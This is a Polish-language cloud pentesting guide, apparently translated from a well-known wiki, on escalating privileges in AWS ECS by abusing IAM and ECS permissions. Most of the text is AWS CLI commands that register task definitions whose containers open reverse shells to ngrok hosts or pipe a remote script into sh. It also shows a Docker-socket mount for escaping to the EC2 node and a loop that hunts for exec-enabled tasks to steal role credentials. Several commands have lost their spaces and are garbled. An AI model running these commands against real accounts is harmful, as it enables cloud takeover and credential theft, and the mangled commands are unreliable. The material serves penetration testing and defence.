Atakujący nadużywający uprawnień iam:PassRole, ecs:RegisterTaskDefinition i ecs:RunTask w ECS może wygenerować nową definicję zadania z złośliwym kontenerem, który kradnie dane uwierzytelniające metadanych i uruchomić go.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definitionawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Potencjalny wpływ: Bezpośrednie privesc do innej roli ECS.
Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask w ECS może wygenerować nową definicję zadania z złośliwym kontenerem, który kradnie dane uwierzytelniające metadanych i uruchomić go.
Jednak w tym przypadku potrzebna jest instancja kontenera do uruchomienia złośliwej definicji zadania.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecsstart-task--task-definitioniam_exfiltration \--container-instances <instance_id># Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Potencjalny wpływ: Bezpośrednie privesc do dowolnej roli ECS.
Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService lub ecs:CreateService w ECS może wygenerować nową definicję zadania z złośliwym kontenerem, który kradnie dane uwierzytelniające metadanych i uruchomić go, tworząc nową usługę z co najmniej 1 uruchomionym zadaniem.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn "$ECS_ROLE_ARN" \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a serviceawsecscreate-service--service-nameexfiltration \--task-definition iam_exfiltration \--desired-count 1 \--cluster "$CLUSTER_ARN" \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"# Run the task updating a serviceawsecsupdate-service--cluster<CLUSTERNAME> \--service <SERVICENAME> \--task-definition <NEWTASKDEFINITIONNAME>
Potencjalny wpływ: Bezpośredni privesc do dowolnej roli ECS.
W rzeczywistości, tylko z tymi uprawnieniami możliwe jest użycie nadpisania do wykonania dowolnych poleceń w kontenerze z dowolną rolą za pomocą czegoś takiego:
Ten scenariusz jest podobny do poprzednich, ale bez uprawnienia iam:PassRole.
To wciąż jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet jeśli nie ma roli, możesz uruchomić kontener z uprawnieniami, aby uciec do węzła i ukraść rolę IAM EC2 oraz inne role kontenerów ECS działające na węźle.
Możesz nawet zmusić inne zadania do uruchomienia wewnątrz instancji EC2, którą przejmujesz, aby ukraść ich dane uwierzytelniające (jak omówiono w sekcji Privesc do węzła).
Ten atak jest możliwy tylko wtedy, gdy klaster ECS używa instancji EC2, a nie Fargate.
printf'[{"name":"exfil_creds","image":"python:latest","entryPoint":["sh", "-c"],"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],"mountPoints": [{"readOnly": false,"containerPath": "/var/run/docker.sock","sourceVolume": "docker-socket"}]}]'>/tmp/task.jsonprintf'[{"name": "docker-socket","host": {"sourcePath": "/var/run/docker.sock"}}]'>/tmp/volumes.jsonawsecsregister-task-definition--familyiam_exfiltration \--cpu 256--memory512 \--requires-compatibilities '["EC2"]' \--container-definitions file:///tmp/task.json \--volumes file:///tmp/volumes.jsonawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \--launch-type EC2# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
Napastnik z ecs:ExecuteCommand, ecs:DescribeTasks może wykonać polecenia wewnątrz działającego kontenera i wyeksportować rolę IAM do niego przypisaną (potrzebujesz uprawnień do opisu, ponieważ jest to konieczne do uruchomienia aws ecs execute-command).
Jednakże, aby to zrobić, instancja kontenera musi działać z agentem ExecuteCommand (który domyślnie nie jest włączony).
Dlatego napastnik może spróbować:
Spróbować uruchomić polecenie w każdym działającym kontenerze
# List enableExecuteCommand on each taskfor cluster in $(awsecslist-clusters|jq.clusterArns|grep'"'|cut-d'"'-f2); doecho"Cluster $cluster"for task in $(awsecslist-tasks--cluster"$cluster"|jq.taskArns|grep'"'|cut-d'"'-f2); doecho" Task $task"# If true, it's your lucky dayawsecsdescribe-tasks--cluster"$cluster"--tasks"$task"|grepenableExecuteCommanddonedone# Execute a shell in a containerawsecsexecute-command--interactive \--command "sh" \--cluster "$CLUSTER_ARN" \--task "$TASK_ARN"
Jeśli ma ecs:RunTask, uruchom zadanie za pomocą aws ecs run-task --enable-execute-command [...]
Jeśli ma ecs:StartTask, uruchom zadanie za pomocą aws ecs start-task --enable-execute-command [...]
Jeśli ma ecs:CreateService, utwórz usługę za pomocą aws ecs create-service --enable-execute-command [...]
Jeśli ma ecs:UpdateService, zaktualizuj usługę za pomocą aws ecs update-service --enable-execute-command [...]
Możesz znaleźć przykłady tych opcji w poprzednich sekcjach privesc ECS.
Potencjalny wpływ: Privesc do innej roli przypisanej do kontenerów.
ssm:StartSession
Sprawdź na stronie privesc ssm, jak możesz nadużyć tej uprawnienia, aby privesc do ECS:
Atakujący z uprawnieniami ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet i ecs:DescribeTaskSets może utworzyć złośliwy zestaw zadań dla istniejącej usługi ECS i zaktualizować główny zestaw zadań. To pozwala atakującemu na wykonywanie dowolnego kodu w ramach usługi.
bashCopycode#Registerataskdefinitionwithareverseshellecho'{"family": "malicious-task","containerDefinitions": [{"name": "malicious-container","image": "alpine","command": ["sh","-c","apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"]}]}'>malicious-task-definition.jsonawsecsregister-task-definition--cli-input-jsonfile://malicious-task-definition.json# Create a malicious task set for the existing serviceaws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the serviceaws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Potencjalny wpływ: Wykonanie dowolnego kodu w dotkniętej usłudze, co może wpłynąć na jej funkcjonalność lub wyciek wrażliwych danych.